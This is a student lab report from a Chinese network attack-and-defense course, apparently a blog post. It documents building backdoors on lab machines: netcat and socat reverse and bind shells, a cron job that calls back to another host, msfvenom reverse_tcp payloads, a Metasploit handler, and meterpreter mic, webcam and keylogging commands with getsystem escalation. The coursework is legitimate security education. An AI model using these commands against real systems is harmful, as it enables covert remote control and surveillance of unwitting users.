20222412 2024-2025-1 《网络与系统攻防技术》实验二实验报告

20222412 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1实验任务

  • (1)使用netcat获取主机操作Shell,cron启动某项任务

  • (2)使用socat获取主机操作Shell, 任务计划启动

  • (3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  • (5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

通过在非正规网站下载盗版软件,后门可能隐藏在这些盗版软件中。另外,点击不安全的网络链接,或者将不明安全的U盘插入电脑,也可能导致后门程序进入系统。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

在Windows中,可以通过用户直接点击后门程序exe可执行文件来启动,或者通过系统计划任务触发器让事件触发启动后门。在Linux中,可以设置定时任务自动启动后门,或者通过shellcode注入启动。

(3)Meterpreter有哪些给你映像深刻的功能?

其功能强大,包括渗透攻击、攻击载荷、Shellcode、模块和监听器等五大模块功能。其中,生成shellcode的方式特别令人印象深刻,因为它可以直接选定应用的操作系统、型号、连接方式、生成文件类型等,实现一行代码一键生成shellcode。此外,获取密码、下载注册表、获取系统信息等功能也非常强大。

(4)如何发现自己有系统有没有被安装后门?

可以使用杀毒软件进行全盘查杀,查看主机上是否存在可疑进程,或者进行流量监控,查看是否有非法流量发出。如果发现电脑时常弹出流氓广告等流氓行为,且无法禁止,首先怀疑是否有程序捆绑了后门启动,或者是电脑时常产生异常现象,例如内存不足、黑屏蓝屏、磁盘损坏等等,都有可能是后门注入造成的。

2.实验过程

本次实验所使用ip以及端口如下

  • kali的IP地址:192.168.191.130
  • Windows主机IP地址:172.16.178.41
  • 监听端口号:2412

2.1 使用netcat获取主机操作Shell,使用cron启动任务

2.1.1 使用netact在kali环境下获取目标主机Windows环境下Shell

在Windows上使用指令ncat -e cmd.exe -kl -p 2412

kali上使用nc 172.16.178.41 2412

image

可以看连接成功后kali终端上显示了Windows的终端界面,包括版本号等信息,尝试输入Windows的Shell指令(例如ipconfig)可以看到回显,但此时回存在一定问题,为乱码,解决如下,具体分析见问题分析。

image

2.1.2 在Windows上设置定时任务(类似于Linux下的corn)

创建文件test-20222412.sh文件用做定时执行的文件,文件内容为ncat -e cmd.exe -kl -p 2412,使用Windows自带的任务计划程序创建一个新的任务,定时15:57触发,然后再时间到达后,再在kali中输入指令nc 172.16.178.41 2412开始监听,此时,Windows用户没有做出任何操作,但是执行kali指令,依旧可以获取主机Shell。

image

2.1.3 使用netact在Windows环境下获取目标主机kali环境下Shell

在windows上使用指令ncat.exe -l -p 2412

kali上使用nc 172.16.178.41 2412 -e /bin/sh
image

可以看到连接成功后再WindowsShell界面输入linux的Shell指令(例如ls)也能正常回显,且回显信息为kali的信息

2.1.4 在kali上使用cron定时启动任务

使用指令crontab -e编辑corn定时任务,添加为15 * * * * /bin/netcat 172.16.178.41 2412 -e /bin/sh并保存,每小时的第十五分钟会启动该指定任务,十五分此时在windows上使用指令ncat.exe -l -p 2412即可打开kali的Shell

2.2 使用socat获取主机操作Shell, 任务计划启动

2.2.1 在被攻击主机(以Windows为例)上构建一个定时启动程序

在Windows上的任务计划程序中创建一个定时任务test'_20222412,定时启动socat.exe,设置参数为tcp-listen:2412exec:cmd.exe,pty,stderr,监听TCP端口2412上的连接请求,当有客户端连接到该端口时,执行cmd.exe命令,为客户端分配一个伪终端,这样客户端就可以像连接到一个真实的终端设备一样与服务器进行交互,将错误输出重定向到标准输出流,这样错误信息也会显示在客户端的终端上,开启监听功能。

2.2.2 在攻击机(以kali为例)上开启监听

等待Windows主机启动任务,在kali上输入socat - tcp:172.16.178.41:2412启动监听,可以看到,定时任务启动后成功连接,成功打开Windows的Shell。

2.3 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 生成后门文件

在kali上输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_test.exe,生成后门文件20222412_test.exe

2.3.2 使用ncat将生成后门文件传入被攻击的主机(以Windows为例)

在Windows上输入ncat.exe -lv 2412 > 20222412_test.exe,让Windows在端口2412接收后门文件20212422_test.exe
在kali上使用nc 172.16.178.41 2412 < 20222412_test.exe ,将后门文件传给被攻击的主机.

可以再Windows找到传送的后门程序如图

2.3.3 使用MSF工具获取Windows的Shell

通过输入msfconsole命令,启动Metasploit Framework的控制台界面。

使用use exploit/multi/handler命令,设置一个可以接收来自多个不同payload的连接的监听器。这个监听器将等待从目标系统发送回来的连接请求。

通过set payload windows/meterpreter/reverse_tcp命令,指定了当目标系统被成功利用时,将接收到的shell类型。在这种情况下,使用的是Windows平台的Meterpreter反向TCP shell,目标系统将尝试回连到攻击者的机器上。

通过set LHOST 192.168.191.130set LPORT 2412命令,分别设置了监听器的IP地址和端口号。这些参数告诉后门程序应该连接到哪个IP地址和端口来建立通信。

在目标Windows系统上运行之前传输的后门程序,该程序会尝试与之前设置的监听器建立连接。

使用exploit命令,启动之前配置好的监听器,使其开始等待来自目标系统的连接。

一旦目标系统与监听器建立了连接,攻击者就可以获得一个交互式的shell,从而可以执行命令、上传和下载文件、进行键盘记录等操作(见2.4)。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

2.4.1 获取目标主机音频、摄像头、击键记录等内容

在上述2.3实验基础上,直接在控制台输入以下命令。

获取音频信息:使用record_mic命令,可以从目标系统的麦克风获取音频信息。该命令可以监听环境声音或对话。

进行截屏:使用screenshot命令,可以捕获目标系统的屏幕截图。该条命令可以了解当前用户界面的外观和布局,或者用于取证目的。

获取摄像头照片:使用webcam_snap命令,可以从目标系统的摄像头拍摄照片。

开始记录键盘敲击:使用keyscan_start命令,可以开始记录目标系统的键盘敲击。

导出键盘敲击记录:使用keyscan_dump命令,可以将记录的键盘敲击数据导出到文件中。

上述截图音频等信息被存入如下文件夹中。

2.4.2 尝试提权

在控制台上输入如下命令。

·getuid·,查看当前用户。

·getsystem·,提权指令。

可以看到杀毒软件报错,允许此次操作后,kali端提权成功。

2.5 使用MSF生成shellcode,注入到实践1中的pwn20222412中,获取反弹连接Shell

2.5.1 使用MSF工具生成shellcode,注入到实验一的pwn20222412文件中

在kali上输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -x /mnt/hgfs/kali_share/pwn20222412 -f elf > pwn20222412_msf,构造注入shellcode的文件pwn20222412_msf

msfconsole,打开控制台。

2.5.2 使用MSF工具进行攻击

使用use exploit/multi/handler命令,该命令用于设置一个多用途的监听器(handler),可以接收来自多个不同payload的连接。

通过set payload linux/x86/meterpreter/reverse_tcp命令,将payload设置为Linux的反弹TCP连接(64位)。当目标系统连接到监听器时,它将使用TCP协议进行通信,并将数据传输回攻击者的系统。

使用set LHOST 192.168.191.130命令设置监听器的IP地址,这里使用的是kali的IP地址,与后门文件中的配置一致。然后,使用set LPORT 2412命令设置监听器的端口号为2412。这两个参数共同定义了监听器等待连接的地址和端口。

在kali上启动构造的后门程序pwn20222412_msf

最后,使用exploit命令开始触发监听器。这意味着监听器现在开始在指定的IP地址和端口上等待连接。一旦有符合配置的连接请求到达,监听器就会接受连接,并在成功建立连接后,攻击者可以通过Meterpreter会话与目标系统进行交互。

3.问题及解决方案

  • 问题1:乱码问题

  • 问题1解决方案:这是由于Windows和liunx使用中文编码格式不同造成的,只需使用chcp 65001将Windows的编码改为UTF-8即可。

  • 问题2:任务5时,在kali上运行后门程序时报错zsh: permission denied: ./pwn20222412_msf

  • 问题2解决方案:这是一个权限错误信息,通常表示当前用户没有执行该文件的权限。以下是一些可能的原因和解决方案:使用chmod a+x ./pwn20222412_msf为文件添加可执行权限。

4.学习感悟、思考等

在本次实验中,通过实践多种工具和技术,如netcat、socat、Metasploit Framework(MSF)及其meterpreter,我深刻体会到了网络攻防的复杂性和精细度。这些工具不仅展示了技术的强大力量,也让我意识到了安全防御的重要性和紧迫性。

使用netcat和socat获取远程主机的操作Shell,让我理解了网络通信的基础原理和实际操作中的灵活性。通过cron或任务计划启动特定任务,我学会了如何自动化攻击流程,提高效率的同时,也认识到这种自动化可能带来的潜在风险。利用MSF meterpreter生成后门,进一步加深了我对恶意软件传播机制的理解。这一过程不仅考验了我的技术能力,更让我思考如何在实际场景中应用这些知识进行有效的安全防护。尝试通过meterpreter获取音频、摄像头记录及击键信息,并尝试提权,让我直观地感受到了网络攻击的现实威胁。

posted @ 2024-10-18 14:28  wwwwyg  阅读(21)  评论(0编辑  收藏  举报